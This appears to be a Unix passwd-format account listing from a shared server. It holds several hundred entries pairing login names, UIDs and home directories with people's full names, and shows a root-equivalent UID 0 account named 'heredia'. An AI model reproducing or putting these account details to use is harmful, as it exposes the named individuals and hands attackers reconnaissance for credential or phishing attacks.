alieben:*:714:100:Aaron D Lieben:/users/alieben:/bin/bash
amathur:*:807:100:AVINASH MATHUR:/users/amathur:/bin/bash
amay:*:928:100:A W MAY:/users/amay:/bin/bash
ameisl:*:766:100:A Meisl :/users/ameisl:/bin/bash
amelendez:*:320:100:Alma R. Melendez:/users/amelendez:/bin/bash
anair:*:875:100:Amit Nair:/users/anair:/bin/bash
aoker:*:534:100:a suha oker:/users/aoker:/bin/bash
arao:*:953:100:Anand V Rao:/users/arao:/bin/bash
arao2:*:954:100:Anand V Rao:/users/arao2:/bin/bash
araskin:*:1158:100:ALLAN RASKIN:/users/araskin:/bin/bash
arogos:*:738:100:Doug Smith:/users/arogos:/bin/bash
arogos1:*:740:100:Doug Smith:/users/arogos1:/bin/bash
aschulenburg1:*:484:100:A H Schulenburg:/users/aschulenburg1:/bin/bash
asmith:*:773:100:Aristea Smith:/users/asmith:/bin/bash
astewart:*:522:100:Anton Stewart:/users/astewart:/bin/bash
atindall:*:485:100:Anne Elizabeth Tindall:/users/atindall:/bin/bash
awright:*:1110:100:Alison Wright:/users/awright:/bin/bash
babernathy:*:252:100:Bill Abernathy:/users/babernathy:/bin/bash
balhad:*:1174:100:Basen Saif Alhadrami:/users/balhad:/bin/bash
batkinson:*:876:100:Bevis Atkinson:/users/batkinson:/bin/bash
begray:*:168:100:ben c gray:/users/begray:/bin/bash
bferg:*:1011:100:Bob S. Ferguson:/users/bferg:/bin/bash
bferguson1:*:1000:100:bob s ferguson:/users/bferguson1:/bin/bash
bgray:*:152:
100:ben c gray:/users/bgray:/bin/bash
bgriffiths:*:1154:100:Blagart S. Griffiths:/users/bgriffiths:/bin/bash
bguthrie:*:1118:100:Bernard F. Guthrie Jr.:/users/bguthrie:/bin/bash
bheising:*:850:100:B H Heising:/users/bheising:/bin/bash
bhogan:*:533:100:Bernard J. Hogan:/users/bhogan:/bin/bash
bliddy:*:372:100:Bruce Liddy:/users/bliddy:/bin/bash
brothausen:*:693:100:Bue Rothausen:/users/brothausen:/bin/bash
bstanger:*:1139:100:Bradley G Stanger:/users/bstanger:/bin/bash
bstrausbaugh:*:1008:100:BRADLEY D STRAUSBAUGH:/users/bstrausbaugh:/bin/bash
btanner:*:1195:100:Btanner:/users/btanner:/bin/bash
burley:*:585:100:John Burley:/users/burley:/bin/bash
bwilliams:*:949:100:Bonnie Williams:/users/bwilliams:/bin/bash
carmstrong1:*:370:100:Carig Armstrong:/users/carmstrong1:/bin/bash
cbarker:*:966:100:Craig A. Barker:/users/cbarker:/bin/bash
cbellizzi:*:801:100:Cathy P Bellizzi:/users/cbellizzi:/bin/bash
ccasagrande:*:354:100:christian e casagrande:/users/ccasagrande:/bin/bash
ccasey:*:889:100:Carol Casey:/users/ccasey:/bin/bash
cchu:*:433:100:Chih-Pin Chu:/users/cchu:/bin/bash
cerezo:*:124:100:P.Garica-Berdoy Cerezo:/users/cerezo:/bin/bash
cfischer:*:1122:100:C Fischer:/users/cfischer:/bin/bash
cfraser:*:1166:100:Cecil Fraser:/users/cfraser:/bin/bash
cfraser2:*:1169:100:Cecil G. Fraser:/users/cfraser2:/bin/bash
cgalu1:*:840:100:Christian A Galu:/users/cgalu1:/bin/bash
cgalu2:*:841:100:Christian A Galu:/users/cgalu2:/bin/bash
cgraham:*:885:100:Chris Graham:/users/cgraham:/bin/bash
chayes:*:644:100:christopher hayes:/users/chayes:/bin/bash
chilkov:*:128:100:jill chilkov:/users/chilkov:/bin/bash
cholmquist:*:790:100:Charlotte Holmquist:/users/cholmquist:/bin/bash
chunt:*:909:100:Carla Hunt:/users/chunt:/bin/bash
cishikawa:*:796:100:Christine Ishikawa:/users/cishikawa:/bin/bash
cjohnson:*:535:100:Chloe R. Johnson:/users/cjohnson:/bin/bash
clarsson:*:1002:100:Claes Larsson:/users/clarsson:/bin/bash
clieber:*:658:100:Christopher A. Lieber:/users/clieber:/bin/bash
cmacdonald:*:488:100:Clark MacDonald:/users/cmacdonald:/bin/bash
cmaglaque:*:957:100:Chad Maglaque:/users/cmaglaque:/bin/bash
cmccarthy:*:819:100:Colin D McCarthy:/users/cmccarthy:/bin/bash
cmnicoll:*:438:100:Charles A. McNicoll:/users/cmnicoll:/bin/bash
cmohr:*:1109:100:Craig Mohr:/users/cmohr:/bin/bash
cnelson:*:786:100:Christopher Nelson:/users/cnelson:/bin/bash
cphillips:*:1184:100:Craig Phillips:/users/cphillips:/bin/bash
cpierre:*:685:100:Connie St.Pierre:/users/cpierre:/bin/bash
cskeete:*:531:100:CP Skeete:/users/cskeete:/bin/bash
csolomon:*:688:100:Cindy J Solomon:/users/csolomon:/bin/bash
ctassone:*:284:100:Carmen L. Tassone:/users/ctassone:/bin/bash
cwaldspurger:*:301:100:Carl Waldspurger:/users/cwaldspurger:/bin/bash
cwillems:*:1119:100:Connie L. Willems:/users/cwillems:/bin/bash
cwillett:*:1140:100:christopher k willett:/users/cwillett:/bin/bash
cwomer:*:1192:100:craig womer:/users/cwomer:/bin/bash
cwomer1:*:1024:100:Craig M. Womer:/users/cwomer1:/bin/bash
cyates:*:573:100:Christopher D. Yates:/users/cyates:/bin/bash
cyoung:*:948:100:Cynthia Young:/users/cyoung:/bin/bash
davis1:*:241:100:Peter Davis:/users/davis1:/bin/bash
davis2:*:242:100:Peter Davis:/users/davis2:/bin/bash
dbaker:*:838:100:Douglas N Baker:/users/dbaker:/bin/bash
dbarton:*:486:100:David barton:/users/dbarton:/bin/bash
dboukata:*:503:100:Dmitri Boukata:/users/dboukata:/bin/bash
dbrisset:*:741:100:Dider Brisset:/users/dbrisset:/bin/bash
dcamden3:*:1012:100:Laura Friedman:/users/dcamden3:/bin/bash
dcittadini:*:553:100:David Cittadini:/users/dcittadini:/bin/bash
dcooper:*:1144:100:Thomas Jorin:/users/dcooper:/bin/bash
dcrestfield:*:1159:100:Duke Crestfield:/users/dcrestfield:/bin/bash
dcrossley:*:1087:100:David Crossley:/users/dcrossley:/bin/bash
ddavison:*:901:100:Don Davidson:/users/ddavison:/bin/bash
delliott:*:260:100:David Elliott:/users/delliott:/bin/bash
dgray:*:770:100:d c gray:/users/dgray:/bin/bash
dhaase:*:316:100:David Haase:/users/dhaase:/bin/bash
dhunt:*:718:100:Davis Hunt:/users/dhunt:/bin/bash
dhunt2:*:719:100:Davis Hunt:/users/dhunt2:/bin/bash
diehl:*:103:100:George Diehl:/users/diehl:/bin/bash
djohnson:*:795:100:Douglas Johnson:/users/djohnson:/bin/bash
dkinsella:*:493:100:Doris Kinsella:/users/dkinsella:/bin/bash
dleader:*:648:100:al :/users/dleader:/bin/bash
dlendon:*:366:100:David Lendon:/users/dlendon:/bin/bash
dleslie:*:720:100:David Leslie:/users/dleslie:/bin/bash
dmank:*:1068:100:Dean Mank:/users/dmank:/bin/bash
dmccusker:*:670:100:Denis P. McCusker:/users/dmccusker:/bin/bash
dmelfi8:*:684:100:Dominic J. Melfi:/users/dmelfi8:/bin/bash
dmichener:*:647:100:Daniel Robert Michener:/users/dmichener:/bin/bash
dmoore:*:2000:100:Delvin:/users/dmoore:/bin/bash
dmoreno:*:859:100:David Gilbert Moreno:/users/dmoreno:/bin/bash
dmuscat:*:347:100:david j muscat:/users/dmuscat:/bin/bash
dname:*:635:100:al h:/users/dname:/bin/bash
dname1:*:636:100:al h:/users/dname1:/bin/bash
dnightingale:*:497:100:David C Nightingale:/users/dnightingale:/bin/bash
domainl:*:609:100:Al:/users/domainl:/bin/bash
domreg:*:633:100:Al :/users/domreg:/bin/bash
dpadmore:*:1126:100:d padmore:/users/dpadmore:/bin/bash
dphaneuf:*:958:100:Doug Phaneuf:/users/dphaneuf:/bin/bash
dphillips:*:963:100:Doug C. Phillips:/users/dphillips:/bin/bash
dpuelle:*:643:100:David W Puelle:/users/dpuelle:/bin/bash
dquartiere:*:833:100:Don Quartiere:/users/dquartiere:/bin/bash
dregis:*:768:100:unknown:/users/dregis:/bin/bash
dsaxena2:*:712:100:DESH B SAXENA:/users/dsaxena2:/bin/bash
dsaxena3:*:713:100:DESH B SAXENA:/users/dsaxena3:/bin/bash
dsaxena7:*:418:100:DESH B SAXENA:/users/dsaxena7:/bin/bash
dschlenker:*:248:100:douglas schlenker:/users/dschlenker:/bin/bash
dsharman:*:1091:100:David W.H. Sharman:/users/dsharman:/bin/bash
dsigrist:*:707:100:Donnie A Sigrist:/users/dsigrist:/bin/bash
dsilver:*:592:100:Dennis Silver:/users/dsilver:/bin/bash
dsmith:*:735:100:Don C. Smith:/users/dsmith:/bin/bash
dstover:*:582:100:Deb Stover:/users/dstover:/bin/bash
dtuller:*:942:100:Doug Tuller:/users/dtuller:/bin/bash
dwarmbrodt:*:407:100:David J Warmbrodt:/users/dwarmbrodt:/bin/bash
ebohorquez2:*:994:100:E.A. Bohorquez:/users/ebohorquez2:/bin/bash
ecroix:*:722:100:Ellon-Emma S. St. Croix:/users/ecroix:/bin/bash
edale:*:1103:100:Elsa L Dale:/users/edale:/bin/bash
eholcomb:*:1053:100:Eric Holcomb:/users/eholcomb:/bin/bash
ehoward1:*:656:100:Eric J Howard:/users/ehoward1:/bin/bash
ehoward2:*:657:100:Eric J Howard:/users/ehoward2:/bin/bash
ejohnson:*:603:100:Eric Johnson:/users/ejohnson:/bin/bash
ekauffman:*:1105:100:Elle Kauffman:/users/ekauffman:/bin/bash
elliott:*:259:100:David Elliott:/users/elliott:/bin/bash
enitch:*:1170:100:Chicago - Italian Government Tourist Board:/users/enitch:/bin/bash
enitny:*:1135:100:Ivan Franco:/users/enitny:/bin/bash
escherr:*:996:100:Evan Scherr:/users/escherr:/bin/bash
esmith:*:1155:100:ed smith:/users/esmith:/bin/bash
esomerville:*:273:100:Edward Somerville:/users/esomerville:/bin/bash
eventura:*:784:100:enrico ventura:/users/eventura:/bin/bash
flruela:*:777:100:Frank Iruela:/users/flruela:/bin/bash
fluperi:*:1179:100:federico luperi:/users/fluperi:/bin/bash
fmariscal:*:962:100:Fernando Mariscal:/users/fmariscal:/bin/bash
fplaisted:*:394:100:Frank Plaisted :/users/fplaisted:/bin/bash
fptester:*:629:100:Al Herd:/users/fptester:/bin/bash
frade:*:358:100:Manuel Frade:/users/frade:/bin/bash
frade2:*:375:100:Manuel Frade:/users/frade2:/bin/bash
fwies:*:791:100:Franky Wies:/users/fwies:/bin/bash
gaitan:*:104:100:Teresita Gaitan:/users/gaitan:/bin/bash
gbolz:*:511:100:Gerhard Bolz:/users/gbolz:/bin/bash
gburch:*:914:100:Glenna Burch:/users/gburch:/bin/bash
gclanton:*:2001:100:GERALD CLANTON:/users/gclanton:/bin/bash
geoffreym:*:1171:100:Geoffrey M.:/users/geoffreym:/bin/bash
gfrench:*:237:100:George French:/users/gfrench:/bin/bash
gkampouris:*:723:100:Georges Kampouris:/users/gkampouris:/bin/bash
glaurent:*:596:100:Guy Laurent:/users/glaurent:/bin/bash
gmedeoros:*:437:100:Gerroll J. Medeiros, Jr.:/users/gmedeoros:/bin/bash
gordon:*:145:100:william gordon:/users/gordon:/bin/bash
gpatapis:*:544:100:George Patapis:/users/gpatapis:/bin/bash
gpeat:*:955:100:Gary Peat:/users/gpeat:/bin/bash
gplanelles:*:541:100:GEORGES PLANELLES:/users/gplanelles:/bin/bash
gpullinger:*:292:100:Geoffrey A Pullinger:/users/gpullinger:/bin/bash
gripps:*:425:100:Geoffrey V. Ripps:/users/gripps:/bin/bash
gsherman:*:842:100:Gilbert Sherman:/users/gsherman:/bin/bash
gward:*:453:100:Graham Ward:/users/gward:/bin/bash
gweber:*:824:100:Gerry A Weber:/users/gweber:/bin/bash
gwillard:*:1114:100:Gregory M. Willard:/users/gwillard:/bin/bash
gyajnik:*:1004:100:Girish G. Yajnik:/users/gyajnik:/bin/bash
gyoung:*:494:100:GERALD W YOUNG:/users/gyoung:/bin/bash
hale:*:125:100:craig hale:/users/hale:/bin/bash
hamlin:*:100:0:Griff Hamlin:/users/hamlin:/bin/bash
hbuck:*:374:100:Hee L. Buck:/users/hbuck:/bin/bash
helm:*:132:100:janet helm:/users/helm:/bin/bash
heredia:*:0:0:Al Heredia:/users/heredia:/bin/bash
heredia10:*:436:100:Al hered:/users/heredia10:/bin/bash
heredia11:*:524:100:Al Heredia:/users/heredia11:/bin/bash
heredia12:*:525:100:Al Heredia:/users/heredia12:/bin/bash
heredia2:*:115:100:Al Heredia:/users/heredia2:/bin/bash
heredia3:*:133:100:Al H:/users/heredia3:/bin/bash
heredia4:*:134:100:Al:/users/heredia4:/bin/bash
heredia5:*:142:100:SLI:/users/heredia5:/bin/bash
heredia7:*:218:100:a heredia:/users/heredia7:/bin/bash
heredia8:*:421:100:Heredia:/users/heredia8:/bin/bash
himona:*:140:100:Ross N Himona:/users/himona:/bin/bash
hlane:*:721:100:heather y. lane:/users/hlane:/bin/bash
hpettersson:*:355:100:Henrik Pettersson:/users/hpettersson:/bin/bash
hrhodes:*:826:100:Harold S. Rhodes:/users/hrhodes:/bin/bash
hrivera1:*:1161:100:Hector R. Santini Rivera:/users/hrivera1:/bin/bash
hrivera2:*:1162:100:Hector R. Santini Rivera:/users/hrivera2:/bin/bash
hrivera3:*:1163:100:Hector R. Santini Rivera:/users/hrivera3:/bin/bash
hrivera4:*:1164:100:Hector R. Santini Rivera:/users/hrivera4:/bin/bash
hrivera5:*:1165:100:Hector R. Santini Rivera:/users/hrivera5:/bin/bash
hsheta1:*:462:100:Hesham Sheta:/users/hsheta1:/bin/bash
hwaldron:*:598:100:H.A. Waldron:/users/hwaldron:/bin/bash
hzeilinger:*:663:100:Helmut Zeilinger:/users/hzeilinger:/bin/bash
iberg:*:782:100:Ivan R Berg:/users/iberg:/bin/bash
ibohorquez:*:1001:100:Ian Bohorquez:/users/ibohorquez:/bin/bash
ilprimo:*:164:100:Il primo:/users/ilprimo:/bin/bash
imcdonnel:*:593:100:Ian Alexander Mcdonnell:/users/imcdonnel:/bin/bash
irodrigues:*:460:100:Inocencia Rodrigues:/users/irodrigues:/bin/bash
jaulbaugh:*:424:100:John Aulabaugh:/users/jaulbaugh:/bin/bash
jbarboza:*:1029:100:Joseph Barboza:/users/jbarboza:/bin/bash
jbigej1:*:489:100:Jack R. Bigej:/users/jbigej1:/bin/bash
jbishopp:*:600:100:James H. Bishopp:/users/jbishopp:/bin/bash
jbraswell2:*:921:100:James Braswell:/users/jbraswell2:/bin/bash
jbriggs:*:538:100:joseph e briggs:/users/jbriggs:/bin/bash
jbuchanan:*:760:100:Jamie Buchanan:/users/jbuchanan:/bin/bash
jburke:*:2002:100:James Burke:/users/jburke:/bin/bash
jburley:*:402:100:John C. burley:/users/jburley:/bin/bash
jclaro:*:1019:100:James:/users/jclaro:/bin/bash
jclemens:*:628:100:Jo Ann Clemens:/users/jclemens:/bin/bash
jclement:*:873:100:John Clement:/users/jclement:/bin/bash
jcoffey:*:361:100:James B. Coffey:/users/jcoffey:/bin/bash
jdebono:*:934:100:John Debono:/users/jdebono:/bin/bash
jdundon:*:905:100:Jim Dundon:/users/jdundon:/bin/bash
jedwards:*:861:100:John M Edwards:/users/jedwards:/bin/bash
jensen6:*:387:100:Milton C. Jensen:/users/jensen6:/bin/bash
jfine:*:150:100:Joel F. Fine:/users/jfine:/bin/bash
jflynn:*:222:100:John T. Flynn:/users/jflynn:/bin/bash
jguttman432:*:1093:100:J Guttman:/users/jguttman432:/bin/bash
jharmon:*:894:100:J hugh Harmon:/users/jharmon:/bin/bash
jhartnett:*:765:100:J. Kenneth Hartnett:/users/jhartnett:/bin/bash
jhelm:*:363:100:James Helm:/users/jhelm:/bin/bash
jhelm1:*:945:100:Janet Helm:/users/jhelm1:/bin/bash
jhoward:*:745:100:John W. Howard:/users/jhoward:/bin/bash
jhudson1:*:1066:100:JAMES A HUDSON:/users/jhudson1:/bin/bash
jhudson2:*:1067:100:JAMES A HUDSON:/users/jhudson2:/bin/bash
jjohnston:*:1031:100:J.E. Johnston:/users/jjohnston:/bin/bash
jkingston:*:912:100:John Kingston:/users/jkingston:/bin/bash
jkoliopoulos:*:1147:100:John A. Koliopoulos:/users/jkoliopoulos:/bin/bash
jkristick:*:177:100:John :/users/jkristick:/bin/bash
jlevert:*:1149:100:Jean-Bernard Levert:/users/jlevert:/bin/bash
jlopez:*:655:100:James T Lopez:/users/jlopez:/bin/bash
jlopez1:*:896:100:James T Lopez:/users/jlopez1:/bin/bash
jmayotte:*:744:100:Joseph Mayotte:/users/jmayotte:/bin/bash
jmoen:*:1027:100:Johannes Moen:/users/jmoen:/bin/bash
johern:*:376:100:Jay M OHern:/users/johern:/bin/bash
jowen1:*:560:100:J.E.Owen:/users/jowen1:/bin/bash
jpavlov:*:804:100:James B. Pavlov:/users/jpavlov:/bin/bash
jpavlov1:*:805:100:James B. Pavlov:/users/jpavlov1:/bin/bash
jperkins:*:671:100:Jeffrey W. Perkins:/users/jperkins:/bin/bash
jquinlan:*:530:100:James Quinlan:/users/jquinlan:/bin/bash
jrackauckas:*:642:100:Judy Rackauckas:/users/jrackauckas:/bin/bash
jroberts:*:536:100:John P Roberts:/users/jroberts:/bin/bash
jroberts2:*:563:100:j.p. roberts:/users/jroberts2:/bin/bash
jroberts5:*:920:100:John Roberts:/users/jroberts5:/bin/bash
jrochert:*:686:100:Johannes Alfred Rochert:/users/jrochert:/bin/bash
jrumolo:*:973:100:Joseph N Rumolo:/users/jrumolo:/bin/bash
jsalomon2:*:1015:100:Jean Jacques SALOMON:/users/jsalomon2:/bin/bash
jsandred:*:763:100:Jan Sandred:/users/jsandred:/bin/bash
jsanglier:*:1183:100:James Sanglier:/users/jsanglier:/bin/bash
jschneider:*:706:100:John Schneider:/users/jschneider:/bin/bash
jschottel:*:1185:100:James Schottel SR.:/users/jschottel:/bin/bash
jschwalenberg:*:883:100:Joseph Schwalenberg:/users/jschwalenberg:/bin/bash
jsevern:*:1025:100:Jonathan R Severn:/users/jsevern:/bin/bash
jsmith2:*:724:100:J K Smith:/users/jsmith2:/bin/bash
jsmye:*:792:100:John Smye:/users/jsmye:/bin/bash
jswanteck:*:557:100:John S Swanteck:/users/jswanteck:/bin/bash
jvance:*:365:100:Jeff Vance:/users/jvance:/bin/bash
jvance2:*:630:100:Jeff Vance:/users/jvance2:/bin/bash
jwalsh:*:1189:100:Office:/users/jwalsh:/bin/bash
jwheeler:*:758:100:James Wheelock:/users/jwheeler:/bin/bash
jwhite:*:668:100:Janis E. WHITE:/users/jwhite:/bin/bash
jwood:*:690:100:James E Wood:/users/jwood:/bin/bash
kalthani:*:463:100:Khalifa J. Althani:/users/kalthani:/bin/bash
kalthani10:*:483:100:Khalifa J. Althani:/users/kalthani10:/bin/bash
kalthani2:*:464:100:Khalifa J. Althani:/users/kalthani2:/bin/bash
kalthani3:*:465:100:Khalifa j. Althani:/users/kalthani3:/bin/bash
kalthani4:*:474:100:Khalifa J. Althani:/users/kalthani4:/bin/bash
kalthani5:*:470:100:Khalifa J. ALthani:/users/kalthani5:/bin/bash
kalthani6:*:477:100:Khalifa J. Althani:/users/kalthani6:/bin/bash
kalthani7:*:469:100:Khalifa J. Althani:/users/kalthani7:/bin/bash
kalthani8:*:476:100:Khalifa J. ALthani:/users/kalthani8:/bin/bash
kalthani9:*:467:100:Khalifa J. Althani:/users/kalthani9:/bin/bash
kbreslin:*:900:100:Kevin H Breslin:/users/kbreslin:/bin/bash
kburrow:*:613:100:Keith Burrow:/users/kburrow:/bin/bash
kcetrulo:*:913:100:kyle j Cetrulo:/users/kcetrulo:/bin/bash
khisaw:*:729:100:Kenneth Hisaw:/users/khisaw:/bin/bash
khisaw2:*:730:100:Kenneth Hisaw:/users/khisaw2:/bin/bash
khunter:*:652:100:Kevin Hunter:/users/khunter:/bin/bash
kischuk:*:136:100:Richard Kischuk:/users/kischuk:/bin/bash
kjones:*:1175:100:kevin a. jones:/users/kjones:/bin/bash
knelson:*:1193:100:k nelson:/users/knelson:/bin/bash
ksankar6:*:588:100:K.S. Sankar:/users/ksankar6:/bin/bash
ksimon:*:659:100:Kenneth Simon:/users/ksimon:/bin/bash
ktroukens:*:793:100:K TROUKENS:/users/ktroukens:/bin/bash
ladams:*:475:100:Lydia Adams Davis:/users/ladams:/bin/bash
lbaier:*:960:100:Lothar Baier:/users/lbaier:/bin/bash
lbellows:*:597:100:Lewis F Bellows:/users/lbellows:/bin/bash
lbeng:*:1141:100:LIM KEE BENG:/users/lbeng:/bin/bash
lblock:*:1070:100:Ilene B. Block:/users/lblock:/bin/bash
lbrooks:*:1026:100:Linda Brooks :/users/lbrooks:/bin/bash
ldeaton432:*:1092:100:L Deaton:/users/ldeaton432:/bin/bash
lfayard:*:496:100:Luc Fayard:/users/lfayard:/bin/bash
lfayard1:*:502:100:Luc Fayard:/users/lfayard1:/bin/bash
lfayard2:*:732:100:Luc Fayard:/users/lfayard2:/bin/bash
lfeldman:*:1194:100:feldman:/users/lfeldman:/bin/bash
lfranco:*:555:100:Ivan Franco:/users/lfranco:/bin/bash
lgartenberg:*:1111:100:Lois Gartenberg :/users/lgartenberg:/bin/bash
lginty:*:473:100:Lee Ginty:/users/lginty:/bin/bash
lhaeghen:*:853:100:Luc Van Der Haeghen:/users/lhaeghen:/bin/bash
lhoffman:*:1017:100:Linda Hoffman:/users/lhoffman:/bin/bash
liu2:*:411:100:Sara Rong Liu:/users/liu2:/bin/bash
liu26:*:428:100:sara liu:/users/liu26:/bin/bash
liu27:*:435:100:Sara Liu:/users/liu27:/bin/bash
liu3:*:412:100:Sara Rong Liu:/users/liu3:/bin/bash
ljohnson:*:774:100:Linda Johnson:/users/ljohnson:/bin/bash
lkelly:*:666:100:Leah F. Kelly:/users/lkelly:/bin/bash
llanta:*:2003:100:Juan Llanta:/users/llanta:/bin/bash
loyal:*:420:100:Shankar Sundaram:/users/loyal:/bin/bash
lpele:*:567:100:Laurent PELE:/users/lpele:/bin/bash
lpele2:*:587:100:Laurent Pele:/users/lpele2:/bin/bash
lsallee:*:2004:100:Larry Sallee:/users/lsallee:/bin/bash
lsasaki:*:1048:100:LEE SASAKI:/users/lsasaki:/bin/bash
lshields:*:785:100:Lawrence Shields:/users/lshields:/bin/bash
lstewart1:*:383:100:Linda Stewart:/users/lstewart1:/bin/bash
lsuperbocados:*:903:100:LOS SUPERBOCADOS:/users/lsuperbocados:/bin/bash
lward4:*:1003:100:Ward, L Graham:/users/lward4:/bin/bash
lwilson1:*:711:100:Lorelle L. Wilson:/users/lwilson1:/bin/bash
match1:*:166:100:matchless metal:/users/match1:/bin/bash
match2:*:167:100:matchless united:/users/match2:/bin/bash
mauizio:*:155:100:Geremia Maurizio:/users/mauizio:/bin/bash
mberberian:*:529:100:michel berberian:/users/mberberian:/bin/bash
mblair:*:866:100:Michael Blair:/users/mblair:/bin/bash
mcimini:*:187:100:Massimo G. Cimini:/users/mcimini:/bin/bash
mcolasuonn2:*:1138:100:Michael Colasuonno:/users/mcolasuonn2:/bin/bash
mcolasuonno1:*:1137:100:Michael Colasuonno:/users/mcolasuonno1:/bin/bash
mduelli:*:950:100:Dino Duelli:/users/mduelli:/bin/bash
me:*:235:100:Ehtheridge:/users/me:/bin/bash
meade:*:130:100:john meade:/users/meade:/bin/bash
melanieyoung:*:1123:100:Melanie Young:/users/melanieyoung:/bin/bash
metheridge:*:226:100:Mike Etherdige:/users/metheridge:/bin/bash
metheridge1:*:227:100:Mike Etherdige:/users/metheridge1:/bin/bash
mflinchum:*:451:100:Michael D Flinchum:/users/mflinchum:/bin/bash
mfrakes:*:736:100:Mary H. Frakes:/users/mfrakes:/bin/bash
mgasim:*:884:100:Mohamed Gasim:/users/mgasim:/bin/bash
mgomez:*:1136:100:Mark Gomez:/users/mgomez:/bin/bash
mhameed:*:1090:100:mansoor hameed:/users/mhameed:/bin/bash
mhill:*:1167:100:Michael R. Hill:/users/mhill:/bin/bash
mhirsch:*:616:100:Matthew j. Hirsch:/users/mhirsch:/bin/bash
minternet2:*:232:100:al :/users/minternet2:/bin/bash
mjackman:*:1128:100:Jackman, Mike:/users/mjackman:/bin/bash
mlabarre:*:199:100:Michael S. La Barre:/users/mlabarre:/bin/bash
mlabarre1:*:999:100:Michael S. LaBarre:/users/mlabarre1:/bin/bash
mlewinsky:*:537:100:Douglas Fur:/users/mlewinsky:/bin/bash
mlishizaka:*:814:100:Masao Ishizaka:/users/mlishizaka:/bin/bash
mmaggio:*:710:100:Michael D. Maggio:/users/mmaggio:/bin/bash
mmignosa:*:605:100:michael mignosa:/users/mmignosa:/bin/bash
mmorgan:*:447:100:Michael Morgan:/users/mmorgan:/bin/bash
mmunro:*:836:100:Mark Munro:/users/mmunro:/bin/bash
mnelson1:*:419:100:Mark M Nelson:/users/mnelson1:/bin/bash
morganstein2:*:322:100:Brahm Morganstein:/users/morganstein2:/bin/bash
morganstein90:*:357:100:Brahm Morganstein:/users/morganstein90:/bin/bash
mpearson:*:482:100:Marilyn Pearson:/users/mpearson:/bin/bash
mpeeters:*:830:100:Marie-Jeanne Peeters :/users/mpeeters:/bin/bash
mperona:*:821:100:Mark Perona:/users/mperona:/bin/bash
mpetzold:*:542:100:Michael Petzold:/users/mpetzold:/bin/bash
mritter:*:892:100:Mark Ritter:/users/mritter:/bin/bash
msawicki:*:1152:100:Marcin Sawicki:/users/msawicki:/bin/bash
msellke:*:895:100:mary sellke:/users/msellke:/bin/bash
mtaylor:*:910:100:Malcolm Taylor:/users/mtaylor:/bin/bash
mvalente:*:1112:100:Mark Valente:/users/mvalente:/bin/bash
mvergez:*:731:100:Mr. Michael Vergez:/users/mvergez:/bin/bash
mvries1:*:426:100:Marcus W.J de Vries:/users/mvries1:/bin/bash
mvries2:*:427:100:Marcus W.J de Vries:/users/mvries2:/bin/bash
mwarmington:*:772:100:m u warmington:/users/mwarmington:/bin/bash
mwillison:*:1097:100:Michael D Willison:/users/mwillison:/bin/bash
myoung:*:1120:100:Melanie A. Young:/users/myoung:/bin/bash
nchik:*:1089:100:Norma Chik:/users/nchik:/bin/bash
newdomain:*:302:100:Siteleader Domain Names:/users/newdomain:/bin/bash
ngregory:*:264:100:Nancy Gregory:/users/ngregory:/bin/bash
nitro2:*:236:100:temp :/users/nitro2:/bin/bash
njacobson:*:906:100:neil r jacobson:/users/njacobson:/bin/bash
nkagelaris:*:510:100:NIKOLAOS KAGELARIS:/users/nkagelaris:/bin/bash
nprout:*:915:100:Nancy J Prout:/users/nprout:/bin/bash
nulkumen:*:802:100:nail oral ulkumen:/users/nulkumen:/bin/bash
office22:*:1127:100:M Young Comm Office:/users/office22:/bin/bash
olevel:*:681:100:OLIVIER LEVEL:/users/olevel:/bin/bash
pbelletete:*:294:100:Patricia A. Belletete:/users/pbelletete:/bin/bash
pcase:*:378:100:Patrick J. Case:/users/pcase:/bin/bash
pchin1:*:867:100:PHILIP CHIN:/users/pchin1:/bin/bash
pchin2:*:868:100:PHILIP CHIN:/users/pchin2:/bin/bash
pdoepfner:*:528:100:Phillip Doepfner:/users/pdoepfner:/bin/bash
pflorio:*:816:100:Paul Florio:/users/pflorio:/bin/bash
pgiovanni:*:886:100:PIZZALE GIOVANNI:/users/pgiovanni:/bin/bash
pgustafsson:*:454:100:p gustafsson:/users/pgustafsson:/bin/bash
pirla:*:1116:100:Peter J. Irla:/users/pirla:/bin/bash
pkearney432:*:1094:100:P Kearney:/users/pkearney432:/bin/bash
pmonahan:*:540:100:Patrick M Monahan:/users/pmonahan:/bin/bash
pmorrissey1:*:434:100:Patrick J Morrissey:/users/pmorrissey1:/bin/bash
pnoe:*:769:100:Paula H Noe:/users/pnoe:/bin/bash
pnorris:*:944:100:P G M Norris:/users/pnorris:/bin/bash
pnorris1:*:1007:100:P G M Norris:/users/pnorris1:/bin/bash
pohehir:*:405:100:Patrick W. Ohehir:/users/pohehir:/bin/bash
pshellem:*:672:100:Paul Shellem:/users/pshellem:/bin/bash
pshellem2:*:673:100:Paul Shellem:/users/pshellem2:/bin/bash
pshellem3:*:687:100:Paul Shellem:/users/pshellem3:/bin/bash
psilverlake:*:831:100:Perry R. Silverlake:/users/psilverlake:/bin/bash
psodermans:*:832:100:Peter Sodermans:/users/psodermans:/bin/bash
psynnott:*:1153:100:Paul Synnott:/users/psynnott:/bin/bash
pvisser:*:650:100:Piet Visser:/users/pvisser:/bin/bash
raul792:*:240:100:raul:/users/raul792:/bin/bash
rbillings:*:727:100:Roger Billings:/users/rbillings:/bin/bash
rbillings2:*:728:100:Roger Billings:/users/rbillings2:/bin/bash
rbirch2:*:709:100:Roderick L. Birch:/users/rbirch2:/bin/bash
rbossons1:*:835:100:Roy Bossons:/users/rbossons1:/bin/bash
rbowers:*:516:100:Robert T Bowers:/users/rbowers:/bin/bash
rburdett:*:1075:100:Ronald D. Burdett:/users/rburdett:/bin/bash
rbziubla:*:881:100:Robert W. Dziubla:/users/rbziubla:/bin/bash
rcacciola:*:1124:100:r cacciola:/users/rcacciola:/bin/bash
rchopra:*:956:100:Raman Chopra:/users/rchopra:/bin/bash
rdom:*:634:100:al h:/users/rdom:/bin/bash
relliott:*:844:100:russell elliott:/users/relliott:/bin/bash
revans:*:1156:100:Richard C Evans:/users/revans:/bin/bash
rferguson:*:893:100:Robert S. Ferguson:/users/rferguson:/bin/bash
rfry:*:1133:100:Richard A Fry:/users/rfry:/bin/bash
rgerson:*:343:100:Russ Gerson:/users/rgerson:/bin/bash
rgraham:*:734:100:Rick Graham:/users/rgraham:/bin/bash
rguhr:*:1168:100:Richard D Guhr:/users/rguhr:/bin/bash
rhale:*:761:100:Rex W Hale:/users/rhale:/bin/bash
rhans:*:1102:100:Hans Remanius:/users/rhans:/bin/bash
rjernigan:*:545:100:robert jernigan:/users/rjernigan:/bin/bash
rjohnson99:*:626:100:Richard C Johnson:/users/rjohnson99:/bin/bash
